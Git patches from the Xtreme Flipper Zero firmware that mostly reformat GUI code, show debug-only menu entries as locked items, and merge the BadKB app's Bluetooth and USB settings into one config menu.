+79,8 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { } else { bool pm = datetime.hour > 12; bool pm12 = datetime.hour >= 12; - snprintf(time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); + snprintf( + time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); snprintf(meridian_str, 3, pm12 ? "PM" : "AM"); } @@ -106,13 +107,16 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); } - if(model->view_state == DesktopViewLockedStateLockedHintShown && xtreme_settings->lockscreen_prompt) { + if(model->view_state == DesktopViewLockedStateLockedHintShown && + xtreme_settings->lockscreen_prompt) { canvas_set_font(canvas, FontSecondary); if(model->pin_locked) { - elements_bubble_str(canvas, 12, 14 + y, " Press \nto unlock!", AlignRight, AlignBottom); + elements_bubble_str( + canvas, 12, 14 + y, " Press \nto unlock!", AlignRight, AlignBottom); canvas_draw_icon(canvas, 45, 16 + y, &I_Pin_arrow_up_7x9); } else { - elements_bubble_str(canvas, 2, 14 + y, "Press 3x \n to unlock!", AlignRight, AlignBottom); + elements_bubble_str( + canvas, 2, 14 + y, "Press 3x \n to unlock!", AlignRight, AlignBottom); canvas_draw_icon(canvas, 43, 17 + y, &I_Pin_back_arrow_10x8); } } @@ -122,12 +126,14 @@ static bool desktop_view_locked_cover_move(DesktopViewLockedModel* model, bool d bool stop = false; if(down) { if(model->cover_offset < COVER_OFFSET_END) { - model->cover_offset = CLAMP(model->cover_offset + 8, COVER_OFFSET_END, COVER_OFFSET_START); + model->cover_offset = + CLAMP(model->cover_offset + 8, COVER_OFFSET_END, COVER_OFFSET_START); stop = true; } } else { if(model->cover_offset > COVER_OFFSET_START) { - model->cover_offset = CLAMP(model->cover_offset - 8, COVER_OFFSET_END, COVER_OFFSET_START); + model->cover_offset = + CLAMP(model->cover_offset - 8, COVER_OFFSET_END, COVER_OFFSET_START); stop = true; } } @@ -152,10 +158,12 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { if(view_state == DesktopViewLockedStateCoverClosing && !desktop_view_locked_cover_move(model, true)) { model->view_state = DesktopViewLockedStateLocked; - } else if(view_state == DesktopViewLockedStateCoverOpening && - !desktop_view_locked_cover_move(model, false)) { + } else if( + view_state == DesktopViewLockedStateCoverOpening && + !desktop_view_locked_cover_move(model, false)) { model->view_state = DesktopViewLockedStateUnlocked; - xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); + xTimerChangePeriod( + locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); } else if(view_state == DesktopViewLockedStateLockedHintShown) { model->view_state = DesktopViewLockedStateLocked; } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { @@ -164,7 +172,8 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { view_commit_model(locked_view->view, true); - if(view_state != DesktopViewLockedStateCoverClosing && view_state != DesktopViewLockedStateCoverOpening) { + if(view_state != DesktopViewLockedStateCoverClosing && + view_state != DesktopViewLockedStateCoverOpening) { xTimerStop(locked_view->timer, portMAX_DELAY); } } @@ -175,9 +184,9 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { canvas_set_color(canvas, ColorBlack); if(view_state == DesktopViewLockedStateLocked || - view_state == DesktopViewLockedStateLockedHintShown || - view_state == DesktopViewLockedStateCoverClosing || - view_state == DesktopViewLockedStateCoverOpening) { + view_state == DesktopViewLockedStateLockedHintShown || + view_state == DesktopViewLockedStateCoverClosing || + view_state == DesktopViewLockedStateCoverOpening) { desktop_view_locked_draw_lockscreen(canvas, m); } } diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index 2e8e34e2a..ffe52d354 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -622,8 +622,9 @@ void elements_scrollable_text_line( } } - if (centered) { - canvas_draw_str_aligned(canvas, x, y, AlignCenter, AlignBottom, furi_string_get_cstr(line)); + if(centered) { + canvas_draw_str_aligned( + canvas, x, y, AlignCenter, AlignBottom, furi_string_get_cstr(line)); } else { canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); } diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 68020c829..d259caaba 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -78,7 +78,11 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { } item = MenuItemArray_get(model->items, item_i); if(item->icon) { - canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); + canvas_draw_icon_animation( + canvas, + (40 - item->icon->icon->width) / 2 + x_off, + (20 - item->icon->icon->height) / 2 + y_off, + item->icon); } furi_string_set(name, item->label); if(furi_string_start_with_str(name, "[")) { @@ -88,14 +92,7 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { } } elements_scrollable_text_line( - canvas, - 20 + x_off, - 26 + y_off, - 36, - name, - scroll_counter, - false, - true); + canvas, 20 + x_off, 26 + y_off, 36, name, scroll_counter, false, true); if(item_i == position) { canvas_set_color(canvas, ColorBlack); } else { @@ -108,7 +105,11 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { shift_position = (0 + position + items_count - 1) % items_count; item = MenuItemArray_get(model->items, shift_position); if(item->icon) { - canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 3 + (14 - item->icon->icon->height) / 2, item->icon); + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 3 + (14 - item->icon->icon->height) / 2, + item->icon); } canvas_draw_str(canvas, 22, 14, item->label); // Second line main @@ -116,7 +117,11 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { shift_position = (1 + position + items_count - 1) % items_count; item = MenuItemArray_get(model->items, shift_position); if(item->icon) { - canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 25 + (14 - item->icon->icon->height) / 2, item->icon); + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 25 + (14 - item->icon->icon->height) / 2, + item->icon); } size_t scroll_counter = model->scroll_counter; if(scroll_counter < 1) { @@ -125,21 +130,17 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { scroll_counter -= 1; } furi_string_set(name, item->label); - elements_scrollable_text_line( - canvas, - 22, - 36, - 98, - name, - scroll_counter, - false, - false); + elements_scrollable_text_line(canvas, 22, 36, 98, name, scroll_counter, false, false); // Third line canvas_set_font(canvas, FontSecondary); shift_position = (2 + position + items_count - 1) % items_count; item = MenuItemArray_get(model->items, shift_position); if(item->icon) { - canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 47 + (14 - item->icon->icon->height) / 2, item->icon); + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 47 + (14 - item->icon->icon->height) / 2, + item->icon); } canvas_draw_str(canvas, 22, 58, item->label); // Frame and scrollbar @@ -159,49 +160,49 @@ static bool menu_input_callback(InputEvent* event, void* context) { if(event->type == InputTypeShort) { switch(event->key) { - case InputKeyUp: - consumed = true; - menu_process_up(menu); - break; - case InputKeyDown: - consumed = true; - menu_process_down(menu); - break; - case InputKeyLeft: - consumed = true; - menu_process_left(menu); - break; - case InputKeyRight: - consumed = true; - menu_process_right(menu); - break; - case InputKeyOk: - consumed = true; - menu_process_ok(menu); - break; - default: - break; + case InputKeyUp: + consumed = true; + menu_process_up(menu); + break; + case InputKeyDown: + consumed = true; + menu_process_down(menu); + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + case InputKeyOk: + consumed = true; + menu_process_ok(menu); + break; + default: + break; } } else if(event->type == InputTypeRepeat) { switch(event->key) { - case InputKeyUp: - consumed = true; - menu_process_up(menu); - break; - case InputKeyDown: - consumed = true; - menu_process_down(menu); - break; - case InputKeyLeft: - consumed = true; - menu_process_left(menu); - break; - case InputKeyRight: - consumed = true; - menu_process_right(menu); - break; - default: - break; + case InputKeyUp: + consumed = true; + menu_process_up(menu); + break; + case InputKeyDown: + consumed = true; + menu_process_down(menu); + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + default: + break; } } @@ -255,8 +256,7 @@ Menu* menu_alloc() { view_set_enter_callback(menu->view, menu_enter); view_set_exit_callback(menu->view, menu_exit); - menu->scroll_timer = - furi_timer_alloc(menu_scroll_timer_callback, FuriTimerTypePeriodic, menu); + menu->scroll_timer = furi_timer_alloc(menu_scroll_timer_callback, FuriTimerTypePeriodic, menu); with_view_model( menu->view, @@ -458,7 +458,7 @@ static void menu_process_right(Menu* menu) { if(model->position == count - 1) { model->position = 0; } else if(model->position == count - 2) { - model->position = count -1; + model->position = count - 1; } else { model->position += 2; } diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index 83ec0e764..182cd127f 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -177,7 +177,10 @@ static bool variable_item_list_input_callback(InputEvent* event, void* context) if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && locked_message_visible) { with_view_model( - variable_item_list->view, VariableItemListModel * model, { model->locked_message_visible = false; }, true); + variable_item_list->view, + VariableItemListModel * model, + { model->locked_message_visible = false; }, + true); consumed = true; } else if(event->type == InputTypeShort) { switch(event->key) { @@ -301,7 +304,8 @@ void variable_item_list_process_left(VariableItemList* variable_item_list) { VariableItem* item = variable_item_list_get_selected_item(model); if(item->locked) { model->locked_message_visible = true; - furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(item->current_value_index > 0) { item->current_value_index--; model->scroll_counter = 0; @@ -321,7 +325,8 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { VariableItem* item = variable_item_list_get_selected_item(model); if(item->locked) { model->locked_message_visible = true; - furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(item->current_value_index < (item->values_count - 1)) { item->current_value_index++; model->scroll_counter = 0; @@ -341,7 +346,8 @@ void variable_item_list_process_ok(VariableItemList* variable_item_list) { VariableItem* item = variable_item_list_get_selected_item(model); if(item->locked) { model->locked_message_visible = true; - furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(variable_item_list->callback) { variable_item_list->callback(variable_item_list->context, model->position); } @@ -352,7 +358,10 @@ void variable_item_list_process_ok(VariableItemList* variable_item_list) { static void variable_item_list_scroll_timer_callback(void* context) { VariableItemList* variable_item_list = context; with_view_model( - variable_item_list->view, VariableItemListModel * model, { model->scroll_counter++; }, true); + variable_item_list->view, + VariableItemListModel * model, + { model->scroll_counter++; }, + true); } void variable_item_list_locked_timer_callback(void* context) { @@ -360,7 +369,10 @@ void variable_item_list_locked_timer_callback(void* context) { VariableItemList* variable_item_list = context; with_view_model( - variable_item_list->view, VariableItemListModel * model, { model->locked_message_visible = false; }, true); + variable_item_list->view, + VariableItemListModel * model, + { model->locked_message_visible = false; }, + true); } VariableItemList* variable_item_list_alloc() { @@ -372,7 +384,8 @@ VariableItemList* variable_item_list_alloc() { view_set_draw_callback(variable_item_list->view, variable_item_list_draw_callback); view_set_input_callback(variable_item_list->view, variable_item_list_input_callback); - variable_item_list->locked_timer = furi_timer_alloc(variable_item_list_locked_timer_callback, FuriTimerTypeOnce, variable_item_list); + variable_item_list->locked_timer = furi_timer_alloc( + variable_item_list_locked_timer_callback, FuriTimerTypeOnce, variable_item_list); with_view_model( variable_item_list->view, @@ -384,8 +397,8 @@ VariableItemList* variable_item_list_alloc() { model->scroll_counter = 0; }, true); - variable_item_list->scroll_timer = - furi_timer_alloc(variable_item_list_scroll_timer_callback, FuriTimerTypePeriodic, variable_item_list); + variable_item_list->scroll_timer = furi_timer_alloc( + variable_item_list_scroll_timer_callback, FuriTimerTypePeriodic, variable_item_list); furi_timer_start(variable_item_list->scroll_timer, 333); return variable_item_list; diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c index e01fe7dc6..7c7de7052 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -47,7 +47,8 @@ void furi_hal_light_set(Light light, uint8_t value) { if(XTREME_SETTINGS()->rgb_backlight) { rgb_backlight_update(value); } else { - uint8_t prev = lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); + uint8_t prev = + lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); lp5562_execute_ramp( &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); } diff --git a/scripts/distfap.py b/scripts/distfap.py index df3c61025..612ad9ad8 100644 --- a/scripts/distfap.py +++ b/scripts/distfap.py @@ -52,9 +52,7 @@ class Main(App): if not self.args.launch_app: return 0 - storage.send_and_wait_eol( - f'loader open "Apps" {fap_dst_path}\r' - ) + storage.send_and_wait_eol(f'loader open "Apps" {fap_dst_path}\r') if len(result := storage.read.until(storage.CLI_EOL)): self.logger.error(f"Unexpected response: {result.decode('ascii')}") From 79976f460c25f268f9fdd9ead390f2e69a3f02f2 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 21:36:42 +0000 Subject: [PATCH 199/329] Show debug options by default as locked --- .../infrared/scenes/infrared_scene_start.c | 44 +++++----- .../scenes/lfrfid_scene_extra_actions.c | 16 ++-- .../main/nfc/scenes/nfc_scene_start.c | 12 ++- .../scenes/subghz_scene_ext_module_settings.c | 82 ++++++++++--------- .../main/subghz/scenes/subghz_scene_start.c | 12 ++- 5 files changed, 90 insertions(+), 76 deletions(-) diff --git a/applications/main/infrared/scenes/infrared_scene_start.c b/applications/main/infrared/scenes/infrared_scene_start.c index 0403e40f8..a671c7592 100644 --- a/applications/main/infrared/scenes/infrared_scene_start.c +++ b/applications/main/infrared/scenes/infrared_scene_start.c @@ -38,26 +38,30 @@ void infrared_scene_start_on_enter(void* context) { infrared_scene_start_submenu_callback, infrared); - if(infrared->app_state.is_debug_enabled) { - submenu_add_item( - submenu, - "Learn New Remote RAW", - SubmenuIndexLearnNewRemoteRaw, - infrared_scene_start_submenu_callback, - infrared); - submenu_add_item( - submenu, - "Debug RX", - SubmenuIndexDebug, - infrared_scene_start_submenu_callback, - infrared); - submenu_add_item( - submenu, - "Debug Settings", - SubmenuIndexDebugSettings, - infrared_scene_start_submenu_callback, - infrared); - } + submenu_add_lockable_item( + submenu, + "Learn New Remote RAW", + SubmenuIndexLearnNewRemoteRaw, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); + submenu_add_lockable_item( + submenu, + "Debug RX", + SubmenuIndexDebug, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); + submenu_add_lockable_item( + submenu, + "Debug Settings", + SubmenuIndexDebugSettings, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); const uint32_t submenu_index = scene_manager_get_scene_state(scene_manager, InfraredSceneStart); diff --git a/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c b/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c index efa319c1e..d322b2d01 100644 --- a/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c +++ b/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c @@ -37,14 +37,14 @@ void lfrfid_scene_extra_actions_on_enter(void* context) { lfrfid_scene_extra_actions_submenu_callback, app); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - submenu, - "Read RAW RFID data", - SubmenuIndexRAW, - lfrfid_scene_extra_actions_submenu_callback, - app); - } + submenu_add_lockable_item( + submenu, + "Read RAW RFID data", + SubmenuIndexRAW, + lfrfid_scene_extra_actions_submenu_callback, + app, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( submenu, scene_manager_get_scene_state(app->scene_manager, LfRfidSceneExtraActions)); diff --git a/applications/main/nfc/scenes/nfc_scene_start.c b/applications/main/nfc/scenes/nfc_scene_start.c index 2a116fe09..67f25e5a7 100644 --- a/applications/main/nfc/scenes/nfc_scene_start.c +++ b/applications/main/nfc/scenes/nfc_scene_start.c @@ -30,10 +30,14 @@ void nfc_scene_start_on_enter(void* context) { submenu_add_item( submenu, "Add Manually", SubmenuIndexAddManually, nfc_scene_start_submenu_callback, nfc); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - submenu, "Debug", SubmenuIndexDebug, nfc_scene_start_submenu_callback, nfc); - } + submenu_add_lockable_item( + submenu, + "Debug", + SubmenuIndexDebug, + nfc_scene_start_submenu_callback, + nfc, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneStart)); diff --git a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c index a96208074..6bd97c805 100644 --- a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c +++ b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c @@ -129,48 +129,50 @@ void subghz_scene_ext_module_settings_on_enter(void* context) { variable_item_set_current_value_index(item, value_index_pwr); variable_item_set_current_value_text(item, ext_mod_power_text[value_index_pwr]); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - item = variable_item_list_add( - subghz->variable_item_list, - "Debug Pin", - DEBUG_P_COUNT, - subghz_scene_receiver_config_set_debug_pin, - subghz); - value_index_dpin = subghz->txrx->debug_pin_state; - variable_item_set_current_value_index(item, value_index_dpin); - variable_item_set_current_value_text(item, debug_pin_text[value_index_dpin]); + item = variable_item_list_add( + subghz->variable_item_list, + "Debug Pin", + DEBUG_P_COUNT, + subghz_scene_receiver_config_set_debug_pin, + subghz); + value_index_dpin = subghz->txrx->debug_pin_state; + variable_item_set_current_value_index(item, value_index_dpin); + variable_item_set_current_value_text(item, debug_pin_text[value_index_dpin]); + variable_item_set_locked( + item, !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), "Enable\nDebug!"); - item = variable_item_list_add( - subghz->variable_item_list, - "Counter incr.", - DEBUG_COUNTER_COUNT, - subghz_scene_receiver_config_set_debug_counter, - subghz); - switch(furi_hal_subghz_get_rolling_counter_mult()) { - case 1: - value_index_cnt = 0; - break; - case 2: - value_index_cnt = 1; - break; - case 3: - value_index_cnt = 2; - break; - case 4: - value_index_cnt = 3; - break; - case 5: - value_index_cnt = 4; - break; - case 10: - value_index_cnt = 5; - break; - default: - break; - } - variable_item_set_current_value_index(item, value_index_cnt); - variable_item_set_current_value_text(item, debug_counter_text[value_index_cnt]); + item = variable_item_list_add( + subghz->variable_item_list, + "Counter incr.", + DEBUG_COUNTER_COUNT, + subghz_scene_receiver_config_set_debug_counter, + subghz); + switch(furi_hal_subghz_get_rolling_counter_mult()) { + case 1: + value_index_cnt = 0; + break; + case 2: + value_index_cnt = 1; + break; + case 3: + value_index_cnt = 2; + break; + case 4: + value_index_cnt = 3; + break; + case 5: + value_index_cnt = 4; + break; + case 10: + value_index_cnt = 5; + break; + default: + break; } + variable_item_set_current_value_index(item, value_index_cnt); + variable_item_set_current_value_text(item, debug_counter_text[value_index_cnt]); + variable_item_set_locked( + item, !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), "Enable\nDebug!"); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList); } diff --git a/applications/main/subghz/scenes/subghz_scene_start.c b/applications/main/subghz/scenes/subghz_scene_start.c index eb14315a8..00b7ddbac 100644 --- a/applications/main/subghz/scenes/subghz_scene_start.c +++ b/applications/main/subghz/scenes/subghz_scene_start.c @@ -52,10 +52,14 @@ void subghz_scene_start_on_enter(void* context) { SubmenuIndexExtSettings, subghz_scene_start_submenu_callback, subghz); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - subghz->submenu, "Test", SubmenuIndexTest, subghz_scene_start_submenu_callback, subghz); - } + submenu_add_lockable_item( + subghz->submenu, + "Test", + SubmenuIndexTest, + subghz_scene_start_submenu_callback, + subghz, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart)); From 28ca6553ea7cad357b24d80bf96f99343b999867 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 22:09:15 +0000 Subject: [PATCH 200/329] Merge BadKB config menus + lock bt options on usb --- applications/main/bad_kb/bad_kb_app.c | 17 +-- applications/main/bad_kb/bad_kb_app_i.h | 6 +- applications/main/bad_kb/bad_kb_script.c | 3 +- .../main/bad_kb/scenes/bad_kb_scene_config.c | 112 ++++++++++++++++++ .../main/bad_kb/scenes/bad_kb_scene_config.h | 3 +- .../bad_kb/scenes/bad_kb_scene_config_bt.c | 97 --------------- .../bad_kb/scenes/bad_kb_scene_config_usb.c | 65 ---------- .../main/bad_kb/scenes/bad_kb_scene_work.c | 6 +- 8 files changed, 122 insertions(+), 187 deletions(-) create mode 100644 applications/main/bad_kb/scenes/bad_kb_scene_config.c delete mode 100644 applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c delete mode 100644 applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c diff --git a/applications/main/bad_kb/bad_kb_app.c b/applications/main/bad_kb/bad_kb_app.c index 5c095c2f0..9dc057032 100644 --- a/applications/main/bad_kb/bad_kb_app.c +++ b/applications/main/bad_kb/bad_kb_app.c @@ -125,16 +125,11 @@ BadKbApp* bad_kb_app_alloc(char* arg) { view_dispatcher_add_view( app->view_dispatcher, BadKbAppViewError, widget_get_view(app->widget)); - app->var_item_list_bt = variable_item_list_alloc(); + app->var_item_list = variable_item_list_alloc(); view_dispatcher_add_view( app->view_dispatcher, - BadKbAppViewConfigBt, - variable_item_list_get_view(app->var_item_list_bt)); - app->var_item_list_usb = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - BadKbAppViewConfigUsb, - variable_item_list_get_view(app->var_item_list_usb)); + BadKbAppViewConfig, + variable_item_list_get_view(app->var_item_list)); app->bad_kb_view = bad_kb_alloc(); view_dispatcher_add_view( @@ -188,10 +183,8 @@ void bad_kb_app_free(BadKbApp* app) { widget_free(app->widget); // Variable item list - view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigBt); - variable_item_list_free(app->var_item_list_bt); - view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigUsb); - variable_item_list_free(app->var_item_list_usb); + view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfig); + variable_item_list_free(app->var_item_list); // Text Input view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigName); diff --git a/applications/main/bad_kb/bad_kb_app_i.h b/applications/main/bad_kb/bad_kb_app_i.h index 8a8a166d5..da0f5c665 100644 --- a/applications/main/bad_kb/bad_kb_app_i.h +++ b/applications/main/bad_kb/bad_kb_app_i.h @@ -53,8 +53,7 @@ struct BadKbApp { NotificationApp* notifications; DialogsApp* dialogs; Widget* widget; - VariableItemList* var_item_list_bt; - VariableItemList* var_item_list_usb; + VariableItemList* var_item_list; Bt* bt; TextInput* text_input; @@ -81,8 +80,7 @@ struct BadKbApp { typedef enum { BadKbAppViewError, BadKbAppViewWork, - BadKbAppViewConfigBt, - BadKbAppViewConfigUsb, + BadKbAppViewConfig, BadKbAppViewConfigMac, BadKbAppViewConfigName } BadKbAppView; diff --git a/applications/main/bad_kb/bad_kb_script.c b/applications/main/bad_kb/bad_kb_script.c index 17c833381..2edae9a84 100644 --- a/applications/main/bad_kb/bad_kb_script.c +++ b/applications/main/bad_kb/bad_kb_script.c @@ -442,11 +442,10 @@ void bad_kb_config_switch_mode(BadKbApp* app) { scene_manager_previous_scene(app->scene_manager); if(app->is_bt) { furi_hal_bt_start_advertising(); - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigBt); } else { furi_hal_bt_stop_advertising(); - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigUsb); } + scene_manager_next_scene(app->scene_manager, BadKbSceneConfig); bad_kb_reload_worker(app); } diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config.c b/applications/main/bad_kb/scenes/bad_kb_scene_config.c new file mode 100644 index 000000000..1d67e0abb --- /dev/null +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.c @@ -0,0 +1,112 @@ +#include "../bad_kb_app_i.h" +#include "furi_hal_power.h" +#include "furi_hal_usb.h" +#include + +enum VarItemListIndex { + VarItemListIndexKeyboardLayout, + VarItemListIndexConnection, + VarItemListIndexBtRemember, + VarItemListIndexBtDeviceName, + VarItemListIndexBtMacAddress, +}; + +void bad_kb_scene_config_connection_callback(VariableItem* item) { + BadKbApp* bad_kb = variable_item_get_context(item); + bad_kb->is_bt = variable_item_get_current_value_index(item); + XTREME_SETTINGS()->bad_bt = bad_kb->is_bt; + XTREME_SETTINGS_SAVE(); + variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); + view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexConnection); +} + +void bad_kb_scene_config_bt_remember_callback(VariableItem* item) { + BadKbApp* bad_kb = variable_item_get_context(item); + bad_kb->bt_remember = variable_item_get_current_value_index(item); + XTREME_SETTINGS()->bad_bt_remember = bad_kb->bt_remember; + XTREME_SETTINGS_SAVE(); + variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); + view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexRemember); +} + +void bad_kb_scene_config_var_item_list_callback(void* context, uint32_t index) { + BadKbApp* bad_kb = context; + view_dispatcher_send_custom_event(bad_kb->view_dispatcher, index); +} + +void bad_kb_scene_config_on_enter(void* context) { + BadKbApp* bad_kb = context; + VariableItemList* var_item_list = bad_kb->var_item_list; + VariableItem* item; + + item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); + + item = variable_item_list_add( + var_item_list, "Connection", 2, bad_kb_scene_config_connection_callback, bad_kb); + variable_item_set_current_value_index(item, bad_kb->is_bt); + variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); + + item = variable_item_list_add( + var_item_list, "BT Remember", 2, bad_kb_scene_config_bt_remember_callback, bad_kb); + variable_item_set_current_value_index(item, bad_kb->bt_remember); + variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); + variable_item_set_locked(item, !bad_kb->is_bt, "Only in\nBT mode!"); + + item = variable_item_list_add(var_item_list, "BT device name", 0, NULL, bad_kb); + variable_item_set_locked(item, !bad_kb->is_bt, "Only in\nBT mode!"); + + item = variable_item_list_add(var_item_list, "BT MAC address", 0, NULL, bad_kb); + if(!bad_kb->is_bt) { + variable_item_set_locked(item, true, "Only in\nBT mode!"); + } else if(bad_kb->bt_remember) { + variable_item_set_locked(item, true, "Remember\nmust be Off!"); + } + + variable_item_list_set_enter_callback( + var_item_list, bad_kb_scene_config_var_item_list_callback, bad_kb); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(bad_kb->scene_manager, BadKbSceneConfig)); + + view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfig); +} + +bool bad_kb_scene_config_on_event(void* context, SceneManagerEvent event) { + BadKbApp* bad_kb = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfig, event.event); + consumed = true; + switch(event.event) { + case VarItemListIndexKeyboardLayout: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); + break; + case VarItemListIndexConnection: + bad_kb_config_switch_mode(bad_kb); + break; + case VarItemListIndexBtRemember: + bad_kb_config_switch_remember_mode(bad_kb); + scene_manager_previous_scene(bad_kb->scene_manager); + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfig); + break; + case VarItemListIndexBtDeviceName: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigName); + break; + case VarItemListIndexBtMacAddress: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigMac); + break; + default: + break; + } + } + + return consumed; +} + +void bad_kb_scene_config_on_exit(void* context) { + BadKbApp* bad_kb = context; + VariableItemList* var_item_list = bad_kb->var_item_list; + + variable_item_list_reset(var_item_list); +} diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config.h b/applications/main/bad_kb/scenes/bad_kb_scene_config.h index 794468eba..ac445c673 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config.h +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.h @@ -1,8 +1,7 @@ 